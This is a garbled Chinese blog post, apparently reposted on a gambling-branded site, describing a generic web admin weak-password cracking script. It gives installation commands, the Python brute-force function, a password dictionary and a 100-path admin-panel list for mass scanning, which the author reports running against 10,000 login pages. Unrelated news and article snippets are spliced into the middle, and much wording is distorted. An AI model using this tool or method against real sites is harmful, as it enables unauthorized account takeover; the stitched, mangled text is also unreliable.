Web弱口令通用检测要领探讨 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Web弱口令通用检测要领探讨

申博_安全预警 申博 166次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

注重:本剧本只是讨论通用web口令破解的可行性,一切测试请自行搭建靶机状况或许在拿到目标体系相干受权后再举行测试。文中所触及的手艺、思绪和对象仅供以安全为目标的进修交换运用,任何人不得将其用于不法用处和红利等目标,不然效果自行负担!

对象引见

通用的web弱口令破解剧本,旨在批量检测那些没有考证码的治理背景。

跟着攻防练习训练和一些破绽发掘义务的增加,有时刻须要大批量疾速的检测一些网站背景安全性,特别是测试一些治理弱口令,这类难度不大但对照费时辛苦的事情就须要一个自动化的剧正本完成了。但如今的种种web口令破解对象大多是针对某个cms举行设想,或许相似burpsuite须要手工设置装备摆设,没有见过能通用的破解对象。

因而就有了这个小对象——通用web弱口令破解剧本,合营另一个信息汇集对象 https://github.com/TideSec/FuzzScanner 能够举行批量疾速刷分。

装置运用

装置运用都对照简朴:

从Github上拖下来

git clone https://github.com/TideSec/web_pwd_common_crack

装置requirements.txt依靠

pip install -r requirements.txt

运转剧本便可

python web_pwd_crack.py url.txt 50   --> url.txt为待扫描URL地点列表,50为线程数,默以为50

url.txt为待检测URL地点,能够本身写个剧本批量从搜刮引擎猎取,也能够本身用目次罗列对象去汇集。

功用道理

1、接见目标地点,剖析关键字

道理异常low,就是从页面中提取表单,对表单中的内容举行检索,发明存在用户名、暗码、username、pwd、pass之类的字段则以为是登录页面,然后提取参数构成data数据,发送给crack函数举行破解

由于如今种种网站的要求包的多样性,如今没法做到像wvs那样能提取到一切的登录post,只是依据简朴的关键字举行了提取。

logins =['用户名','暗码','login','denglu','登录','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']

在测试中还发明有时刻搜刮框会滋扰效果,以是把搜刮框又举行了消除

sous = ['检索','搜','search','查找','keyword','关键字']

别的,如今不支持自动辨认考证码,以是对考证码也举行了消除

yzms = ['考证码','点击替换','点击革新','checkcode','valicode','code','captcha']

2、经由历程剖析页面猎取post地点及参数

def get_post_get_page(content,url):
    form_action = str(content).split('\n')[0]
    # print form_action
    soup = BS(form_action, "lxml")
    url_path = ''
    for x in re.findall(".*?/",url):
        url_path =  url_path+x

    action_url = soup.form['action']
    if str(action_url).startswith('http'):
        path = action_url
    else:
        path = url_path+soup.form['action']
    method = soup.form['method']
    return path,method

3、在猎取相干参数和path后挪用破解函数web_crack举行暗码破解

def web_crack(method,path,data):
    conn =  requests.session()
    res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies())
    error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data)
    if dynamic_req_len:
        return False,False

    num = 0
    success_flag = 0
    dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC)
    for user_name in USERNAME_DIC:
        for pass_word in PASSWORD_DIC:
            data1 = data
            # print data1
            user_name = user_name.strip()
            pass_word = pass_word.strip()
            pass_word = str(pass_word.replace('{user}', user_name))
            data2 = str(data1.replace('%7Buser_name%7D', user_name))
            data2 = str(data2.replace('%7Bpass_word%7D', pass_word))

            num = num+1

            res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies())
            cur_length = len(res.content+str(res.headers))

            if cookie_error_flag:  # cookie_error_flag透露表现每一个数据包中都有cookie
                if cur_length!=error_length:
                    success_flag =1
                    return user_name,pass_word
            elif 'Set-Cookie' in res.headers and cur_length!=error_length:
                success_flag =1
                return user_name,pass_word
    if success_flag == 0:
        return False,False

设置装备摆设了一个对照简朴的字典

USERNAME_DIC = ['admin','guest','test','ceshi','system']
PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888']

4、怎样推断破解胜利

BUF早餐铺丨微软自打脸:黑客确实触及了部分电子邮件账户的详细内容;WPA3标准被曝“超大”WiFi安全漏洞;9年感染全球40多万台电脑,罗马尼亚一黑客组织被判刑

各位Buffer早上好,今天是2019年4月16日星期二。今天的早餐铺内容主要有:微软自打脸:黑客确实触及了部分电子邮件账户的详细内容;WPA3标准被曝“超大”WiFi安全漏洞;9年感染全球40多万台电脑,罗马尼亚一黑客组织被判刑;警方破获比特

如今运用了几种体式格局互相连系的方法来配合考证。

1、经由历程返回包里有无Set-Cookie;
2、返回数据包的长度转变;
3、运用requests.session()举行重考证;
4、返回页面的内容婚配。

5、优化准确度,加入了recheck函数

在测试时发明会涌现误报状况,以是对胜利的账户暗码举行了重考证。好比:

1、有些体系在探测屡次以后涌现封ip之类的状况,这时刻会滋扰破解剧本的推断;
2、有些体系在最先的时刻没有考证码,但毛病频频后会涌现考证码;
3、有些体系的提醒信息会涌现随机的调换,致使误报。

事情界面

扫描历程以下

Web弱口令通用检测要领探讨

扫描胜利的效果会保持在web_crack_ok.txt文件中

Web弱口令通用检测要领探讨

扫描中辨认到考证码、phpmyadmin等一切的日记会保存在web_crack_log.txt文件中,后期能够依据log日记再举行一一筛查。

Web弱口令通用检测要领探讨

其他申明

其实在完成这个对象后,也最先邃晓为何市面上没有通用的破解器,由于胜利率确实不高!我测试过10000个治理背景,破解出来弱口令的约莫110个,有无漏报不清楚但基础没有误报。

胜利率不高主要原因有:

1、web页面范例冗杂,很难准确猎取并提交准确参数;

2、许多页面都有考证码,如今这个小剧本还没法自动辨认考证码;

3、为了均衡时候和效力,运用了对照简朴的用户名和暗码字典,以是轻微庞杂的暗码就破解不出来了。

我一样平常会运用dirsearch或之类的目次罗列对象,设置装备摆设一个对照轻巧的治理背景目次字典,对目标地点举行批量扫描治理背景,然后再运用web_pwd_crack.py对这些背景地点批量举行弱口令破解

孝敬一个对照精简的治理背景字典(100条)

admin/default/login.asp
admin/login.asp
admin/manage/login.asp
admin_login/login.asp
admincp/login.asp
administrator/login.asp
login.asp
manage/login.asp
manager/login.asp
member/login.asp
admin-login.php
admin/admin-login.php
admin/admin_login.php
admin/login.php
admin2/login.php
admin_area/login.php
admin_login.php
adminarea/login.php
admincontrol/login.php
administrator/login.php
administratorlogin.php
adminlogin.php
autologin.php
bb-admin/login.php
blog/wp-login.php
checklogin.php
login.php
modelsearch/login.php
moderator/login.php
nsw/admin/login.php
pages/admin/admin-login.php
panel-administracion/login.php
processlogin.php
rcjakar/admin/login.php
relogin.php
siteadmin/login.php
sqlbuddy/login.php
userlogin.php
usuarios/login.php
webadmin/login.php
wp-login.php
account/login.jsp
accounts/login.jsp
admin/login.jsp
auth/login.jsp
jsp/extension/login.jsp
login.jsp
member/login.jsp
members/login.jsp
portalAppAdmin/login.jsp
admin.jsp
netadmin.jsp
admin.php
admin.php3
admin/admin.php
admin_area/admin.php
adminarea/admin.php
authadmin.php
bb-admin/admin.php
checkadmin.php
cmsadmin.php
dbadmin.php
fileadmin.php
isadmin.php
linusadmin-phpinfo.php
memberadmin.php
moadmin.php
modelsearch/admin.php
moderator/admin.php
panel-administracion/admin.php
phpliteadmin.php
siteadmin.php
sysadmin.php
tmp/admin.php
ur-admin.php
user/admin.php
users/admin.php
webadmin.php
webadmin/admin.php
wp-content/plugins/akismet/admin.php
admin.asp
admin.aspx
admin/default/admin.asp
admin/manage/admin.asp
admin_login/admin.asp
administrator/admin.asp
article/admin/admin.asp
denglu/admin.asp
guanli/admin.asp
houtai/admin.asp
login/admin/admin.asp
manage/admin.asp
manager/admin.asp
member/admin.asp
admin/logon.jsp
admin/secure/logon.jsp
compass/logon.jsp
logon.jsp
logon/logon.jsp

ToDo

考证码辨认

削减误报率

优化编码处置惩罚

能不那末low

深入理解JavaScript Prototype污染攻击

JavaScript是一门非常灵活的语言,我感觉在某些方面可能比PHP更加灵活。所以,除了传统的SQL注入、代码执行等注入型漏洞外,也会有一些独有的安全问题,比如今天要说这个prototype污染。 0×01 prototype和proto分别是什么? JavaScript


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Web弱口令通用检测要领探讨
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址